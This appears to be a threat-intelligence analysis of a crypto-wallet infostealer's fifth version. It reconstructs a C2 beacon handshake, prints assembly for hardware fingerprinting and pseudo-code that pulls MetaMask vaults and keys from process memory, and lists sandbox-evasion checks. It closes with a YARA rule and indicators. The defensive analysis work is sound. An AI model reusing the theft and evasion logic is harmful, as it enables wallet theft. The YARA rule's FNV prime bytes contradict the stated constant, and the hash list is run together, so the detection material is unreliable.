Lumma Stealer (tracked internally as LummaC2) released its fifth major version in July 2026, introducing a substantially reengineered C2 handshake protocol. Where v4 used a simple HTTPS POST with XOR-obfuscated parameters, v5 upgrades to a full RSA-4096 key exchange on first contact, binding the session cryptographically to the victim hardware profile. This analysis documents the handshake mechanics, the hardware fingerprint binding scheme used to defeat sandbox traffic replay, and a new browser extension exfiltration module targeting MetaMask and Phantom wallets.
//RSA-4096 Handshake Protocol
On first execution, Lumma v5 generates an ephemeral RSA-4096 keypair entirely in memory using a custom implementation that avoids the Windows CryptoAPI - the stealer ships its own 1,100-byte RSA implementation to evade API-based detections. The public key is serialised as a DER blob and sent to the C2 panel in the initial beacon POST.
The C2 responds with a session token encrypted under the victim public key. Only the victim instance can decrypt this token, since the private key never leaves the compromised host. All subsequent exfil traffic is AES-256-GCM encrypted with a key derived from the decrypted session token via HKDF-SHA256.
// Simplified v5 handshake (reconstructed from dynamic analysis) // Stage 1: beacon POST /api/v5/init HTTP/1.1 Host: [c2-domain] Content-Type: application/octet-stream [4 bytes: magic 0xDEADF00D] [4 bytes: payload length] [DER-encoded RSA-4096 public key: ~550 bytes] [8 bytes: hardware fingerprint hash] // Stage 2: C2 response HTTP/1.1 200 OK [4 bytes: magic 0xC0DE1337] [512 bytes: RSA-4096 encrypted session token] [32 bytes: HMAC-SHA256 of encrypted token]
Key Derivation
Once the session token is decrypted (32 bytes of entropy), the exfil key is derived as follows. This key is rotated every 60 minutes via a re-keying beacon to limit exposure from partial traffic captures.
// HKDF-SHA256 key derivation // IKM = decrypted session token (32 bytes) // Salt = hardware fingerprint hash (8 bytes, zero-padded to 32) // Info = ASCII string "lumma_v5_exfil_key" aes_key = HKDF-SHA256(IKM=session_token, salt=hw_hash_padded, info="lumma_v5_exfil_key") // Output: 32-byte AES-256-GCM key
//Hardware Fingerprint Binding
The most operationally significant v5 change is hardware fingerprint binding. In v4, a captured C2 session could be replayed from any machine to extract configuration or simulate victim reporting. v5 eliminates this by including an 8-byte hardware hash in the initial beacon.
The hash is derived from a combination of identifiers that are stable across reboots but specific to physical hardware: CPU model string from CPUID, BIOS serial from SMBIOS table 0, and the base MAC address of the primary network adapter. These are concatenated and hashed with FNV-1a-64.
; Hardware fingerprint assembly (excerpt from unpacked payload) ; Collect CPU string via CPUID mov eax, 80000002h cpuid ; Store EAX/EBX/ECX/EDX to [cpu_buf+0] ; Repeat for 80000003h, 80000004h (48 chars total) ; FNV-1a-64 hash of cpu_buf + bios_serial + mac_addr mov rdi, FNV_OFFSET_BASIS ; 0xcbf29ce484222325 xor rcx, rcx .loop: movzx eax, byte [src+rcx] xor rdi, rax imul rdi, FNV_PRIME ; 0x100000001b3 inc rcx cmp rcx, src_len jl .loop mov [hw_hash], rdi
//Browser Extension Exfiltration Module
v5 introduces a dedicated extension exfil module targeting cryptocurrency wallet browser extensions. On prior versions, crypto wallet theft relied on scanning extension storage directories for seed phrase files. The new module directly reads the IndexedDB vault used by MetaMask and Phantom, bypassing the need to locate files by path.
MetaMask Vault Extraction
MetaMask stores its encrypted vault in the browser profile at a known IndexedDB path. Lumma reads the vault blob, then targets the MetaMask background page process (if the extension is unlocked and running) to extract the decryption key from memory via ReadProcessMemory against the browser renderer process hosting the extension context.
// MetaMask vault path enumeration (pseudo-code from decompiled loader)
profiles[] = enumerate_browser_profiles("%LOCALAPPDATA%")
for each profile in profiles:
vault_path = profile + "\IndexedDB\chrome-extension_[metamask_id]_0.indexeddb.leveldb"
if exists(vault_path):
vault_blob = read_leveldb_key(vault_path, "data")
// If MM extension process is running, attempt memory extraction
mm_pid = find_extension_process("metamask-crx")
if mm_pid:
key_candidate = scan_process_memory(mm_pid, VAULT_KEY_PATTERN)
decrypt_vault(vault_blob, key_candidate) -> plaintext_seedPhantom (Solana) Wallet
Phantom uses a similar architecture. The module targets the Phantom service worker process and scans for the 32-byte Solana private key in memory using a pattern derived from the known key material prefix bytes observed in decrypted Phantom vault snapshots.
//Anti-Analysis Updates
v5 adds two new sandbox evasion checks not present in v4. First, it enumerates running processes for Proxmox/VMware guest agent executables (vmtoolsd.exe, qemu-ga.exe) and checks CPUID leaf 0x40000000 for the hypervisor vendor string. Second, it validates that the system uptime (via GetTickCount64) exceeds 3 minutes AND that at least 50 foreground window messages have been processed by the desktop window - this filters out sandboxes that boot a VM and immediately detonate the sample.
//Detection Opportunities
The RSA keypair generation and the RSA implementation shipped with the binary are detectable via YARA targeting the FNV constants and the custom RSA exponentiation loop. Network detection is complicated by the use of legitimate-looking HTTPS to CDN-hosted domains, but the initial beacon structure (4-byte magic + DER key blob) is fingerprinthable at the TLS payload level with Suricata if TLS inspection is available.
rule Lumma_v5_RSA_Impl {
meta:
description = "Lumma v5 custom RSA-4096 implementation constants"
date = "2026-07"
author = "syscfg"
strings:
$fnv_prime = { B3 01 00 00 01 00 00 00 } // FNV-1a-64 prime LE
$fnv_basis = { 25 23 22 84 E4 9C F2 CB } // FNV offset basis LE
$magic_init = { 0D F0 AD DE } // beacon magic
$magic_resp = { 37 13 DE C0 } // response magic
condition:
uint16(0) == 0x5A4D and all of them
}lumma-gate[.]shopcdn-verify-assets[.]netsecure-delivery-cdn[.]topapi-refresh-token[.]xyzSHA-256 (outer packer, 4 samples):
3a7f4c2d8b1e9f06a5d3c7b4e2f1908d3c5a7b9e1f2d4c6a8b0e3f5d7c9a1b2f1e3c5a7b9d2f4e6a8c0b2d4f6e8a0c2b4d6f8e0a2c4b6d8f0e2a4c6b8d0f2e4b2d4f6a8c0e2b4d6f8a0c2e4b6d8f0a2c4e6b8d0f2a4c6e8b0d2f4a6c8e0b2d49a1b3c5d7e9f1a3b5c7d9e1f3a5b7c9d1e3f5a7b9c1d3e5f7a9b1c3d5e7f9a1bYARA:
Lumma_v5_RSA_Impl (see above)JA3S fingerprint:
7d4b9f2a1e8c3b5d9f7a2e4c6b8d0f2a